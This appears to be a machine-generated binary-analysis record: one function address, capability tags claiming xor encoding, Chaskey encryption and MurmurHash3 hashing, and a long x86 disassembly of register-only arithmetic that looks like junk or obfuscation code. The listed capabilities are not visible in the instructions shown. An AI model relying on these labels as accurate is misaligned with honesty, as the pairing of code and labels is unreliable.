Function at 0x5a8add
Capabilities:
Encode data using xor
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
shr edx, 0x17
mov ebx, eax
and ebx, edx
xchg esi, edi
add ebx, 0x9f522e6a
mov eax, ecx
mov ebx, eax
add esi, ebx
xchg ecx, edx
or edx, 0xa1b92a6a
xor ebx, edx
bswap edx
add edi, eax
xor esi, ebx
bswap edx
add ecx, ebx
or edi, 0xa5691e6a
and ebx, edi
xchg ecx, eax
shl edx, 0x10
sub eax, esi
and edi, 0xa829e66a
rol edi, 9
add esi, edx
sub ebx, 0xa9c7da6a
sub edx, eax
xchg ebx, eax
mov ebx, edx
or edx, edi
or ecx, ebx
xor edi, esi
or ebx, edi
xor ecx, ebx
add ebx, edx
xor esi, edx
mov edi, eax
rol edi, 0x14
add ecx, ebx
or eax, esi
xchg edx, esi
shl ebx, 0x1b
or eax, esi
sub eax, esi
mov ecx, esi
and eax, ecx
or edi, 0xb74b026a
and edx, ecx
and edi, esi
add edx, eax
add ebx, eax
xor ecx, ebx
add edx, edi
xchg edi, ebx
ror edx, 0x19
and esi, ebx
add edi, 0xbc3a5a6a
mov edi, esi
inc edx
and edx, edi
xchg edx, eax
xor esi, edx
xchg esi, edi
mov eax, ecx
mov edx, 0xc05fb26a
xchg edi, eax
or ebx, eax
xor ebx, 0xc2434e6a
mov ebx, edi
sub ebx, edx
sub edx, ecx
xchg esi, edi
and ebx, eax
bswap ebx
xchg edi, ebx
add ebx, edi
not ebx
sub edx, eax
and edx, ecx
mov edi, eax
xor eax, ecx
mov edi, eax
add esi, ebx
not ebx
add esi, ebx
xor edi, esi
or edi, eax
xchg edx, esi
xchg edi, eax
xchg ecx, edi
mov edx, 0xce8cf66a
sub edi, eax
shr edi, 8
mov eax, ecx
xchg esi, eax
and esi, edx
xchg edi, ebx
xchg edx, esi
add esi, ebx
or eax, esi
and ecx, ebx
sub esi, edx
and esi, edx
xchg ecx, edi
xor ebx, edx
sub edi, esi
inc ebx
and edx, 0xd7fbea6a
or ebx, eax
rol ebx, 1
or esi, edx
not edi
xchg edx, esi
xchg esi, eax
sub ecx, esi
rol edx, 0x15
add ebx, eax
or eax, esi
mov edx, 0xddf7be6a
and edx, edi
sub edi, 0xdf0f3e6a
xchg edi, edx
xchg ebx, eax
rol edi, 0xa
xor edx, edi
mov edi, esi
and edi, 0xe281ea6a
sub ecx, esi
mov edx, 0xe3f1766a
not ebx
add eax, esi
xchg edi, edx
mov edx, ecx
add esi, edx
not edx
sub ecx, ebx
sub edx, edi
xchg ebx, eax
and ecx, ebx
or ecx, esi
sub edi, eax
or ecx, ebx
xchg edx, eax
add esi, edx
mov ecx, esi
mov ecx, ebx
mov ebx, 0xed15566a
or esi, edx
sub edi, 0xee3fa26a
and ebx, 0xeeb9aa6a
sub eax, ecx
and edx, eax
inc edx
xor esi, edx
add edi, eax
and esi, ebx
inc ebx
xchg edx, ebx
or edx, eax
mov esi, ebx
add edi, 0xf44d4a6a
sub edi, 0xf4ea626a
mov esi, edx
or edx, 0xf5d9da6a
add ecx, ebx
xor eax, ecx
sub esi, edx
add eax, esi
xor edi, esi
xor edx, 0xf937326a
mov ebx, edi
sub eax, ecx
mov eax, ecx
add esi, edx
and edi, esi
sub ebx, 0xfc05c26a
dec edi
mov ebx, eax
sub ebx, 0xfd7ece6a
sub edx, 0xfe1e226a
not ebx
xchg edx, ebx
or eax, esi
mov edi, ecx
xor esi, ebx
add edi, esi
and ebx, edi
inc ebx
xor edx, 0x2e30e6b
sub edx, eax
xor ebx, edx
sub eax, ecx
mov eax, esi
mov eax, ecx
xchg ecx, edx
mov edx, 0x6837e6b
mov esi, edx
rol edx, 0x13
xor edi, ecx
and eax, esi
sub esi, ebx
xchg ebx, ecx
shr edx, 0x19
sub ebx, eax
xor ebx, 0xba7266b
shr edx, 5
and edi, eax
sub edx, edi
add edi, eax
xor edx, edi
and edx, edi
sub ebx, 0xf6ec26b
or edx, 0xffd1a6b
xchg edx, esi
mov ecx, esi
or edi, esi
not edx
xor ebx, edx
xor ebx, 0x1367f26b
dec edx
or esi, ebx
or ecx, ebx
ror edx, 0x12
sub edi, ecx
mov edx, ecx
xchg ecx, edx
and edx, ecx
xor edi, ecx
mov eax, ecx
xchg edx, esi
rol edx, 5
add ebx, 0x1a677e6b
mov esi, edx
add ecx, ebx
xor edx, ecx
add ebx, edx
add eax, esi
xchg edx, eax
xor ebx, 0x1dfbea6b
xchg edx, esi
xor edx, edi
or edx, ecx
mov edi, esi
or esi, edx
and ecx, esi
add ebx, eax
or ebx, eax
add edx, 0x22966e6b
add ecx, ebx
and edi, eax
add eax, ecx
xchg ecx, edi
sub ecx, ebx
bswap ebx
xor ebx, eax
or edx, 0x26de2e6b
xor ebx, eax
sub edi, eax
inc edi
mov ebx, 0x28fb2a6b
add edx, ecx
sub edi, eax
sub ecx, ebx
sub ebx, edx
sub ebx, eax
add ebx, edx
shr edx, 0x1d
mov edi, eax
add edx, eax
shl edx, 0xa
mov ebx, edi
xor eax, ecx
sub edx, ecx
xor ebx, 0x3056f66b
or edi, esi
sub edx, eax
xor edx, ecx
add esi, edx
dec edx
xchg ebx, eax
or ecx, ebx
or edi, 0x34cb266b
mov ecx, ebx
xor esi, edx
and ebx, 0x3649166b
mov edx, 0x36aaf26b
xchg esi, eax
xor edx, ecx
and edx, ecx
or esi, edx
mov ebx, edx
xor eax, ecx
xor edx, edi
add esi, edx
sub edx, eax
add eax, esi
mov edx, eax
add eax, esi
sub ebx, edx
or edx, ecx
or ecx, ebx
mov edi, esi
add ebx, 0x41ec866b
mov edi, 0x4253066b
or edx, eax
inc ebx
sub edx, 0x43f7a66b
and eax, ecx
xor edx, edi
or edx, ecx
or edx, ecx
xor edx, ecx
mov edx, eax
shl edi, 0x15
and ecx, ebx
xchg esi, edi
add ebx, eax
or edi, 0x49cf126b
or esi, edx
sub eax, ecx
mov ecx, esi
xor ebx, edi
mov ebx, eax
and eax, ecx
add edi, ecx
xor ecx, ebx
xchg ecx, edx
dec edx
sub edx, edi
xor edi, 0x53319a6b
or edx, ecx
mov edx, ecx
sub eax, ecx
xchg ebx, eax
mov edi, ecx
and edi, esi
mov ebx, edx
and edx, eax
and ebx, 0x5780866b
xchg ecx, edx
and edx, ecx
sub esi, ebx
add ecx, esi
mov esi, edx
or ebx, edi
xor eax, ecx
and ebx, edx
mov edx, eax
or edi, eax
add edi, 0x5d001e6b
rol edx, 1
sub edi, 0x5e32b66b
sub eax, ecx
shr edx, 0x16
add ebx, 0x5fc8fa6b
and esi, ebx
mov ecx, ebx
xchg edx, ebx
mov edx, eax
xor edi, eax
add edi, esi
mov ecx, esi
xchg ebx, eax
or edx, eax
or edi, ecx
xchg ecx, edx
inc edi
add edx, eax
and edx, ecx
sub esi, edx
or esi, ebx
add ebx, edi
xor edx, eax
xor edx, 0x69c6ae6b
mov edx, edi
xor ebx, 0x6ad1166b
dec edi
or ebx, edx
xor ebx, eax
and edi, ecx
add ebx, edi
add eax, ecx
mov esi, edx
sub ebx, eax
add esi, ebx
ror edx, 0xe
or edx, ecx
or esi, edx
xor ebx, eax
xor ecx, ebx
rol ebx, 0x13
and ebx, edi
xor ecx, ebx
or ecx, ebx
and esi, ebx
or edx, edi
xchg edx, eax
shl ebx, 6
sub edx, eax
or ebx, 0x7798766b
xor ecx, ebx
add ebx, edi
mov esi, edx
xor edi, esi
add ebx, 0x7a1e166b
dec edi
or esi, ebx
or edx, edi
xchg ebx, ecx
mov edi, eax
shr edx, 0x1b
and ebx, eax
or ebx, 0x7e4e626b
xchg esi, eax
xchg ebx, eax
add edi, esi
xchg esi, eax
mov ebx, 0x8129326b
xchg edx, eax
add esi, edx
mov edx, 0x82adce6b
and edx, ecx
sub edx, edi
mov ecx, esi
mov edx, eax
sub eax, ecx
mov edx, edi
mov esi, ebx
or edi, eax
xor esi, edx
and edi, eax
and esi, ebx
dec ebx
and eax, esi
sub ebx, 0x8981926b
add esi, ebx
xchg edx, esi
sub eax, esi
or eax, ecx
bswap edi
shr edx, 4
mov edx, edi
and ebx, eax
and edi, ecx
add edx, eax
sub edx, ecx
mov edi, esi
add ebx, edx
and ebx, 0x90ddca6b
sub ebx, eax
and esi, ebx
xor eax, esi
and ecx, ebx
sub ebx, edi
xor edi, esi
or ebx, edi
or eax, esi
xor ebx, edx
xor edx, 0x96906a6b
or esi, edx
ror edx, 0x19
mov ecx, esi
mov edi, 0x986eb26b
inc ebx
ror edx, 0x17
and ebx, edx
sub ebx, eax
sub edi, eax
add eax, ecx
or esi, ebx
mov esi, edx
mov edx, edi
xor ebx, 0x9d83466b
ror edi, 4
shl ebx, 7
xchg ebx, ecx
not edi
xor edi, eax
add ecx, ebx
add eax, ecx
add eax, ecx
sub ecx, esi
and edi, esi
mov ebx, edx
sub ecx, esi
rol ebx, 0x1d
and esi, ebx
xor edi, 0xa569fa6b
xchg ebx, esi
mov eax, ecx
and edi, 0xa6f0a66b
rol ebx, 0xc
and edi, eax
sub eax, esi
or edi, esi
ror edx, 0x1d
mov edx, 0xaa141e6b
add esi, edx
dec edx
dec ebx
inc edx
xchg edx, ebx
or edx, 0xad376a6b
sub edi, esi
rol ebx, 9
xchg ecx, edi
dec edx
mov ecx, esi
or esi, edx
or eax, ecx
mov ebx, edx
shr ebx, 0x1b
add eax, esi
xor edi, ecx
xor edx, edi
or ecx, ebx
sub eax, ecx
add ecx, ebx
xchg esi, edi
bswap edi
add esi, ebx
add ecx, ebx
sub ecx, esi
add edx, 0xb83e5a6b
xor ecx, ebx
not ebx
xchg ecx, edi
mov edi, esi
xchg ecx, edi
xor ecx, esi
add edi, esi
mov ebx, 0xbca5766b
mov esi, edx
xchg edi, edx
add esi, edx
and edi, ecx
mov eax, esi
mov ebx, 0xbf5d266b
ror edi, 0x10
add esi, edx
mov eax, esi
or edx, eax
and eax, ecx
or ebx, edx
shr ebx, 0x1a
or eax, esi
xchg esi, edi
add edx, eax
or eax, esi
xchg ecx, edx
or edx, eax
sub edx, ecx
xor ebx, 0xc764466b
or esi, edx
sub esi, edx
add edx, eax
or ecx, ebx
xchg ebx, ecx
or esi, edx
add edi, esi
or ebx, edx
or ecx, ebx
xor eax, esi
sub ebx, edi
shr edi, 0x18
xchg ecx, edi
mov esi, ebx
mov edi, ecx
mov edx, eax
shr edi, 1
add edx, ecx
shl edx, 0xb
xchg edx, esi
sub eax, ecx
sub edx, edi
or edx, edi
rol ebx, 0xd
add edi, eax
add esi, ebx
and ebx, eax
and edx, 0xd6180e6b
rol ebx, 2
inc edx
xchg ecx, edx
xor ebx, eax
and ebx, edx
sub ebx, edx
mov ebx, 0xd9e74a6b
shl ebx, 9
xchg esi, edi
sub ecx, esi
xor edi, esi
add ebx, edi
shl edx, 0xf
mov edi, esi
or ecx, esi
and edx, eax
xor edi, 0xdf6b6a6b
shr ebx, 1
or edi, esi
sub edx, eax
and esi, edx
shl edi, 0xf
add edx, 0xe295326b
add esi, edx
or esi, ebx
shl edi, 0x16
inc ebx
and edx, edi
xor edi, eax
rol edx, 0x1e
xor ecx, esi
or ecx, ebx
xchg edi, eax
or edx, edi
bswap edx
mov ebx, eax
and ebx, edi
mov edi, ecx
sub edx, edi
mov edx, ecx
add edi, eax
or ebx, edi
xor edx, edi
and ecx, esi
mov esi, edx
add edi, ecx
mov edi, 0xeedfe26b
xor edi, ecx
sub eax, ecx
xor esi, edx
xchg ecx, edi
not edx
xchg ecx, edx
and edx, 0xf3261a6b
and ebx, edi
mov esi, edx
or edx, edi
and ebx, eax
inc edx
mov edi, eax
or edi, esi
and eax, esi
rol edi, 1
or edi, ecx
xor ebx, edx
inc edx
xchg edx, esi
xchg ebx, esi
mov edx, edi
add edx, ecx
xchg ecx, eax
bswap edx
add esi, ebx
inc edx
sub edx, 0xfdf27a6b
mov ebx, eax
and esi, ebx
sub esi, ebx
or edx, edi
mov eax, ecx
xor edx, edi
mov ecx, esi
add eax, ecx
mov eax, ecx
sub ebx, edx
sub esi, ebx
sub eax, ecx
xor edx, ecx
add eax, ecx
bswap edx
and edx, edi
mov edi, eax
sub ecx, ebx
and ecx, ebx
xor edi, 0x95f6a6c
mov edi, eax
add edi, eax
inc edx
sub edi, ecx
rol edx, 0x10
bswap ebx
and ecx, ebx
not edx
or ebx, eax
add edx, edi
dec edi
xchg ecx, edi
shr edx, 0x11
add esi, edx
add esi, edx
ror edx, 0x10
and ebx, eax
or ecx, esi
add edx, 0x12d3866c
add esi, ebx
xchg edi, edx
mov edi, esi
xor ebx, edx
mov edx, ecx
xchg ebx, eax
rol edi, 0x1e
or ebx, eax
or eax, esi
xchg ebx, eax
sub eax, ecx
mov edx, eax
or eax, ecx
xor ecx, ebx
bswap edx
rol ebx, 0x12
or ebx, eax
or edi, eax
or edx, 0x1d54ce6c
or edx, edi
xchg ebx, eax
not edx
and edx, edi
xchg ecx, edi
add edx, 0x20a5c26c
rol ebx, 1
or ebx, eax
sub ebx, 0x225b626c
add edx, edi
mov esi, ebx
shl ebx, 0xe
or eax, ecx
xor ecx, esi
add edx, edi
or edx, 0x25cec66c
or edx, ecx
inc edx
shl edx, 0x1a
xchg ecx, edi
mov ebx, edi
xchg edi, eax
dec edx
and edx, ecx
sub ebx, 0x2ab7766c
sub edx, ecx
or edi, ecx
xor edi, eax
xchg edi, ebx
add ebx, eax
sub edx, ecx
sub edi, eax
or ecx, esi
not edi
sub edi, ecx
inc ebx
or edx, edi
xchg ebx, ecx
sub ecx, ebx
shl edi, 0x1b
sub edi, 0x33ec026c
xchg ecx, edi
rol ebx, 7
inc edi
sub edx, ecx
mov edx, ecx
xor ebx, edx
mov ebx, 0x37ae7e6c
or edi, esi
and eax, esi
rol edx, 0x16
sub edi, ecx
or edx, ecx
or edx, 0x3b353e6c
mov eax, ecx
xor edi, eax
xor edi, eax
xor eax, esi
dec ebx
not edx
xor esi, ebx
and ebx, edx
mov esi, edx
not ebx
xchg ecx, eax
xor eax, ecx
rol edi, 0x10
or ebx, edx
add edi, 0x434c226c
mov edx, ecx
shr edi, 0x1e
sub ebx, edx
xor eax, ecx
xchg edx, eax
xor edx, ecx
sub edx, ecx
xchg esi, eax
xor edi, eax
or edx, ecx
sub edx, edi
ror edi, 8
xor ecx, esi
and edi, ecx
add edx, ecx
bswap edx
shl ebx, 3
not edi
xor edx, 0x4e346a6c
mov ebx, 0x4e98a26c
xor edi, eax
add ebx, edx
add ecx, esi
and esi, edx
inc edi
and edx, ecx
add eax, ecx
mov ecx, ebx
add ebx, edi
or esi, edx
sub edx, ecx
rol ebx, 0x1a
mov edx, ecx
or ecx, esi
and edx, edi
or ebx, 0x56442a6c
xchg esi, edi
sub edx, edi
mov edi, ecx
mov ebx, eax
sub ecx, ebx
or edx, eax
mov edx, 0x59dbde6c
xchg ebx, ecx
xchg ecx, edi
sub esi, ebx
and eax, ecx
shl edi, 0x16
sub edi, ecx
or edx, 0x5e099a6c
mov ecx, ebx
rol edi, 0x1c
mov edi, ecx
xor edx, 0x60059a6c
xor edx, 0x60ae7a6c
and edx, eax
and ecx, esi
add edx, ecx
sub ecx, esi
mov ebx, edx
xor ebx, edi
add edi, esi
sub edi, 0x64a9ea6c
add edi, eax
sub ebx, edx
inc ebx
or edi, eax
mov ebx, edx
inc edi
xor edi, eax
add eax, esi
sub edi, ecx
add esi, ebx
dec edx
or esi, edx
or ebx, edx
mov edx, eax
or edx, 0x6c19226c
xor ecx, esi
or ebx, edi
and eax, esi
add edi, 0x6e25c66c
xchg ebx, esi
xchg esi, edi
not edi
xor ebx, edx
sub esi, ebx
shr edi, 0x10
and ecx, ebx
xchg edx, eax
shl ebx, 7
xchg ebx, ecx
mov edx, edi
and edi, eax
not edx
and edi, eax
add ebx, edx
or esi, edx
add edi, esi
not edx
mov edi, 0x7850666c
ror ebx, 0x1b
ror edx, 0xa
not edi
mov ebx, 0x7a5cda6c
shr ebx, 0x1b
mov ecx, esi
xchg ebx, ecx
and ecx, ebx
sub edx, edi
xor edx, ecx
xor ecx, ebx
add esi, ebx
mov ebx, edx
mov ebx, 0x7f7c5a6c
xchg ebx, ecx
or eax, esi
xchg esi, eax
rol edi, 0x1c
xchg edx, eax
and eax, esi
bswap edx
or edi, eax
xor ebx, edi
or edx, 0x8551026c
shl edx, 0x1e
mov edx, 0x8643066c
xchg ecx, edx
mov ecx, esi
or edx, ecx
xor ebx, edx
xchg ecx, edx
or ebx, 0x89bc526c
or edx, 0x8a48d26c
add edi, ecx
shl edi, 0xc
xchg edi, eax
sub ebx, eax
sub edi, esi
add edx, 0x8da3066c
xchg edi, ebx
xchg edi, ebx
mov eax, esi
sub edx, 0x902e7e6c
or edx, edi
xor edi, 0x9163be6c
xchg ebx, esi
sub edi, ecx
mov ebx, 0x93191e6c
sub esi, ebx
xor eax, esi
add edi, esi
xor edx, 0x9571f26c
xor edx, eax
add eax, esi
xchg esi, eax
and ebx, eax
xchg edx, ebx
xor edi, 0x98f3a66c
xor esi, ebx
shl edx, 7
mov ebx, eax
mov eax, ecx
add edx, edi
xor ebx, edx
inc edx
sub edi, 0x9d09e66c
xchg esi, edi
or eax, ecx
xor edi, ecx
mov esi, edx
add ebx, eax
mov edi, esi
or ecx, ebx
add eax, ecx
rol ebx, 3
xor ecx, ebx
and ecx, ebx
add ebx, 0xa318fe6c
or edi, ecx
xchg ebx, ecx
add eax, ecx
sub edi, ecx
xchg edx, ebx
add edx, ecx
or edx, eax
or esi, ebx
inc ebx
or ebx, 0xa88a9a6c
xor ebx, eax
not edi
mov edx, edi
sub edi, eax
xor esi, ebx
and esi, ebx
sub edi, esi
mov edx, eax
sub edi, ecx
xor edx, eax
and edx, eax
inc edx
sub eax, ecx
and edi, ecx
not ebx
sub edx, ecx
xor edx, 0xb1cf166c
xor edx, eax
add edi, eax
and ecx, ebx
sub edx, 0xb3f38e6c
not ebx
xor edx, ecx
xchg edi, edx
or edx, ecx
or edi, ecx
or ebx, 0xb766866c
xchg esi, edi
sub ebx, 0xb8bc4e6c
or edi, eax
xchg ebx, ecx
shl edx, 6
and esi, edx
bswap edx
mov esi, edx
xchg esi, eax
and edx, edi
add ebx, edx
inc edi
sub esi, ebx
or ebx, edx
sub edi, ecx
and edx, ecx
inc edi
add ebx, eax
mov edi, eax
xor edi, 0xc208226c
xchg ebx, esi
mov edi, esi
or ecx, esi
mov esi, ebx
add edx, eax
bswap edx
xchg ecx, edx
add ecx, esi
xor edx, ecx
and ebx, 0xc72e4a6c
sub edi, esi
xchg ebx, esi
add edx, edi
xchg esi, edi
or ebx, edx
xchg esi, ecx
dec edx
add ecx, ebx
or edx, 0xcc4d166c
shr ebx, 0x11
mov esi, edx
add esi, edx
xor edx, 0xce9d766c
and esi, ebx
mov ebx, edi
xchg edi, edx
not ebx
dec edx
xchg esi, ecx
ror edi, 0x10
or edx, eax
and ebx, edx
add ebx, edi
mov edi, esi
mov edx, 0xd490526c
sub edi, ecx
or edx, eax
shl ebx, 0x1a
rol ebx, 0x15
xor edi, ecx
xchg ecx, edx
shr edi, 0x16
add ebx, 0xd92ed26c
add ecx, esi
add edi, 0xda0a3e6c
or ebx, 0xda947a6c
xchg ebx, eax
shr edx, 0x16
and edx, edi
sub ebx, eax
mov edi, ecx
shl edi, 0x1e
mov edi, ecx
and edx, eax
shl edi, 0x19
and ebx, eax
and eax, ecx
mov edx, edi
mov ebx, 0xe0dc366c
xchg edi, edx
and edi, ecx
and edx, ecx
rol edx, 0x16
not edi
shl ebx, 5
and edx, edi
dec ebx
and ebx, eax
mov esi, ebx
add ecx, ebx
mov ebx, eax
sub ebx, edi
sub esi, ebx
xchg esi, eax
xchg edi, ebx
or eax, esi
sub edi, esi
or eax, ecx
sub edi, ecx
or eax, esi
xor edi, ecx
xchg edi, edx
ror edi, 0x16
rol edi, 0x1c
xor edx, eax
add ecx, esi
or edx, edi
xor eax, esi
or ebx, edx
and edx, eax
add edx, ecx
xor ecx, esi
or ebx, edi
xor ebx, 0xf427326c
mov esi, ebx
ror edx, 1
or edi, esi
or ebx, edx
and ecx, ebx
xor edx, edi
add edi, ecx
sub edx, 0xf854226c
xor esi, ebx
rol edi, 0x12
sub edx, 0xfa2ace6c
or eax, esi
sub ebx, edx
add edx, ecx
xor esi, ebx
or ebx, eax
add ecx, esi
add edx, edi
mov ebx, edi
xor ebx, edi
sub ebx, edx
and edi, ecx
mov ebx, edi
and edi, eax
shr edi, 0x19
add esi, edx
mov eax, ecx
or ebx, 0x2713a6d
sub ecx, esi
xchg ecx, eax
and edi, eax
ror ebx, 8
ror ebx, 0x17
mov eax, esi
mov edx, ecx
xor edi, esi
sub eax, ecx
mov edx, edi
dec edi
or eax, ecx
or esi, edx
xchg edx, eax
xchg edi, eax
sub eax, ecx
add edi, eax
mov edi, eax
rol edx, 0x16
or ebx, 0xd1f5a6d
xor ebx, 0xdc9ea6d
not edi
or ebx, edi
xor ebx, edx
add esi, edx
and esi, edx
add ebx, edi
xchg edi, edx
sub edi, esi
mov esi, edx
xor ebx, edi
add ebx, eax
xchg edi, ebx
not edx
or eax, ecx
ror edx, 0x16
xor ebx, eax
mov edx, 0x16c02e6d
shr ebx, 0x13
xchg esi, ecx
xchg ebx, ecx
dec ebx
and edi, esi
xchg ebx, eax
xchg ebx, eax
xchg edi, edx
xor eax, ecx
sub edx, edi
or edx, 0x1d78966d
sub edi, 0x1e16626d
sub ebx, eax
or edi, eax
mov edi, ecx
xchg ebx, ecx
sub ecx, ebx
rol edx, 0x1b
sub edi, eax
and edx, ecx
or edi, eax
shr ebx, 0x10
ror edi, 2
xchg ebx, eax
sub edx, edi
mov ebx, 0x25dfd26d
mov ecx, esi
add eax, ecx
bswap edx
add ebx, 0x2794666d
or edx, ecx
add ebx, 0x288a126d
or esi, edx
xchg ecx, eax
rol ebx, 7
xor edx, ecx
sub eax, ecx
xor edi, 0x2c395a6d
and edi, eax
sub ebx, edx
xor eax, ecx
add edi, 0x2e59266d
add edx, 0x2ec4b66d
xchg ecx, edx
and edi, ecx
and esi, ebx
dec edx
sub esi, edx
xor edi, ecx
and ebx, eax
or edi, eax
sub ecx, ebx
mov eax, esi
sub edi, esi
or eax, esi
xor edi, esi
xchg edx, eax
mov edx, 0x36fb226d
xor ebx, edx
mov ebx, edi
rol ebx, 0x18
and ebx, 0x3907366d
sub esi, ebx
mov eax, ecx
xchg edi, edx
and esi, edx
xor ecx, esi
xor edi, esi
and esi, ebx
and edi, 0x3ee5026d
dec edi
add edx, ecx
and ecx, ebx
sub ebx, edx
xor edi, 0x4185066d
xor ebx, 0x422c5e6d
bswap edx
and esi, edx
xor ebx, 0x43ccee6d
xor ecx, esi
mov edx, 0x44d6da6d
xchg edi, edx
or esi, edx
inc edx
inc ebx
or edi, eax
xor edx, edi
rol edi, 0xb
or edx, eax
add edi, ecx
or edi, eax
or ebx, edx
add ebx, edi
sub ebx, eax
mov ecx, ebx
inc ebx
or edi, ecx
mov esi, edx
add ebx, edx
sub ebx, eax
bswap edx
inc edx
or esi, ebx
and edi, ecx
mov eax, esi
mov esi, ebx
ror ebx, 1
and ebx, eax
sub edi, esi
sub esi, ebx
sub ebx, 0x5468d26d
and esi, ebx
and ecx, esi
and ebx, edx
rol edi, 0x10
xor edi, ecx
or ebx, 0x578fa26d
and ecx, esi
xor edx, 0x58ac826d
ror edi, 0x1a
xchg edx, esi
xor ebx, edi
xor ecx, ebx
xchg ebx, ecx
xor ebx, edi
and edi, ecx
dec edx
sub edx, ecx
xor ebx, eax
inc edi
xor edx, eax
and ebx, 0x6195526d
and edi, ecx
xchg edx, esi
add ebx, eax
sub ebx, edx
and ebx, eax
and esi, edx
add edx, 0x65184a6d
sub ebx, eax
bswap edi
ror ebx, 0x18
sub edi, esi
inc ebx
mov ebx, 0x6842d66d
sub ebx, 0x68e28a6d
inc edi
mov eax, ecx
inc ebx
and esi, ebx
sub eax, esi
xor ebx, edx
and ebx, 0x6c66126d
add ebx, eax
and edi, eax
mov ecx, esi
or ebx, edx
mov ebx, 0x6e8c4a6d
or ebx, 0x6f18a26d
inc edx
and eax, ecx
shl ebx, 0x16
and eax, esi
or edi, ecx
add edx, ecx
mov edi, ecx
mov ebx, edi
xor edx, edi
ror edx, 0x15
mov edi, ecx
sub ebx, edx
sub edx, eax
add eax, esi
sub eax, esi
sub eax, ecx
xor edx, edi
shl edx, 0x15
add eax, ecx
sub eax, esi
dec edx
or edx, 0x7a5d726d
dec edi
sub ebx, edx
not ebx
add edx, eax
inc edx
or edx, ecx
dec edi
xor ecx, esi
or edx, edi
xor ecx, esi
or ecx, ebx
sub esi, edx
or ebx, 0x815a066d
shl edi, 6
add edx, ecx
and edi, esi
add edx, edi
or edx, 0x83c29a6d
xchg ebx, esi
xchg edx, eax
xor ebx, 0x85d2666d
xor eax, esi
and edx, edi
or ebx, edi
sub edx, edi
sub eax, esi
add ebx, edi
add edi, ecx
xchg esi, ecx
sub edx, ecx
sub ecx, esi
xor eax, ecx
or edi, eax
or edx, ecx
sub edi, esi
shr edi, 0x13
rol edx, 0x10
or esi, ebx
add ebx, edi
sub edx, eax
and edi, ecx
xchg ecx, eax
and eax, ecx
add esi, ebx
add ecx, esi
add esi, edx
add edi, ecx
sub edi, 0x947e026d
mov ebx, edi
xchg ecx, eax
xchg ecx, edi
xchg esi, ecx
sub ebx, edx
mov edx, 0x97ea3a6d
or edi, ecx
sub esi, edx
add ecx, ebx
sub edi, eax
or ecx, esi
xor edi, 0x9b468e6d
and esi, ebx
and ebx, edx
or edx, edi
sub edx, eax
xor ebx, edi
mov edi, ecx
mov eax, ecx
add edx, ecx
rol edx, 6
xchg ebx, eax
or edx, edi
or edi, 0xa1746e6d
not edx
add ecx, ebx
mov edx, eax
sub ebx, edx
add edx, 0xa3c1d26d
or ebx, 0xa44d7a6d
add esi, ebx
add edi, esi
or ecx, esi
sub edi, eax
xchg ecx, edi
not ebx
shl ebx, 9
or eax, esi
xor edi, 0xa93c5e6d
sub esi, edx
xchg ebx, eax
xor edx, 0xab2fd66d
and edx, 0xababd26d
and edx, edi
xchg esi, ecx
inc edx
ror ebx, 5
and edi, 0xae5d626d
sub edi, 0xaefc2e6d
rol ebx, 0x18
and esi, edx
or ebx, edx
xchg edi, eax
or edi, 0xb1ce926d
mov edi, esi
add edx, 0xb29fc26d
mov edx, ecx
sub edx, 0xb39f4a6d
rol edx, 9
xchg ecx, edx
shl edx, 0x19
or esi, ebx
sub eax, ecx
sub edi, 0xb72e326d
xor edi, eax
mov edi, ecx
sub edi, esi
sub edx, eax
or edx, eax
dec edi
xchg ebx, esi
and ecx, esi
sub ebx, 0xbc3e426d
inc edi
and eax, esi
xchg ecx, eax
sub eax, ecx
xchg ebx, eax
sub ebx, edi
xor eax, ecx
or esi, ebx
sub eax, ecx
mov esi, ebx
sub edi, eax
xchg ecx, eax
xchg edx, esi
mov ebx, eax
add edx, eax
xor edi, ecx
dec ebx
or ebx, edx
sub eax, esi
and edi, ecx
bswap ebx
xchg edi, eax
and edx, eax
xchg ecx, edi
sub edi, eax
add ecx, esi
sub edx, ecx
mov edi, eax
bswap ebx
shl edx, 0x19
and edi, 0xcd3fb66d
add esi, edx
add ecx, ebx
mov ecx, esi
sub ebx, edx
xor edx, eax
sub edi, esi
shl ebx, 4
dec ebx
xchg edi, edx
sub ebx, edx
mov edx, ecx
and ecx, esi
or edi, esi
mov ebx, edx
or edi, esi
mov edx, eax
bswap edi
not edi
sub edx, eax
xor esi, ebx
add edx, edi
shl edi, 0x13
xor esi, edx
and esi, ebx
xor edx, ecx
xchg ebx, esi
rol ebx, 0x1c
xor edi, eax
bswap edi
dec ebx
xchg ebx, ecx
add edx, 0xde4d3e6d
or ebx, eax
dec ebx
or edx, 0xdfda7e6d
dec ebx
and edi, 0xe0d6026d
add ebx, eax
add edi, 0xe1af7a6d
and ecx, esi
mov edx, eax
or esi, edx
shr edi, 3
shr edi, 0x11
xor esi, ebx
add ebx, eax
and edi, eax
and ebx, eax
add edi, 0xe6c5ba6d
mov edx, 0xe727b66d
xor edi, eax
add edi, eax
add edx, eax
add ebx, edi
sub ebx, eax
sub esi, edx
or ebx, 0xeacb2e6d
or edx, 0xeb559a6d
xor ecx, ebx
rol ebx, 0x19
add edi, ecx
or edi, eax
or edx, edi
xor ecx, esi
and ebx, eax
mov esi, edx
or edx, edi
xor edx, 0xf0b3fa6d
shl ebx, 0x15
sub eax, esi
or edi, eax
and esi, ebx
or edx, edi
sub eax, esi
add esi, edx
mov edx, eax
and eax, esi
sub ebx, edi
xor edi, esi
or edi, 0xf6fa0a6d
sub edx, eax
or edi, ecx
sub ebx, edi
shl edx, 0x1a
or ebx, 0xf9cdea6d
and edi, eax
sub ecx, esi
sub eax, ecx
xchg esi, edi
and edi, ecx
not ebx
inc edi
xor edi, esi
xor ebx, 0xfef1b66d
and esi, edx
add ecx, ebx
xchg ecx, edx
add edx, eax
or edx, eax
xor esi, edx
or ebx, edx
and esi, edx
sub ecx, ebx
xchg edi, eax
xchg ecx, edi
sub ecx, ebx
xchg edx, ebx
mov edi, 0x6c4c26e
sub edx, edi
and eax, esi
add edx, 0x8436a6e
xchg edi, edx
add eax, esi
xchg edx, ebx
not edx
shr ebx, 0xb
xchg edi, edx
and ebx, edx
xchg ecx, eax
or edx, eax
xor ebx, edi
mov esi, ebx
add edi, ecx
mov ebx, edi
xor ebx, eax
or edx, eax
or ebx, edx
sub edi, eax
sub ebx, edi
sub ecx, esi
add esi, ebx
and eax, ecx
add eax, ecx
and edi, 0x146eba6e
or edi, esi
add esi, edx
ror edx, 0x14
and ecx, esi
or eax, ecx
inc ebx
xchg ecx, edi
not edi
add ebx, 0x1910de6e
xchg ecx, eax
shl edi, 5
or ecx, ebx
xor edx, 0x1b78fe6e
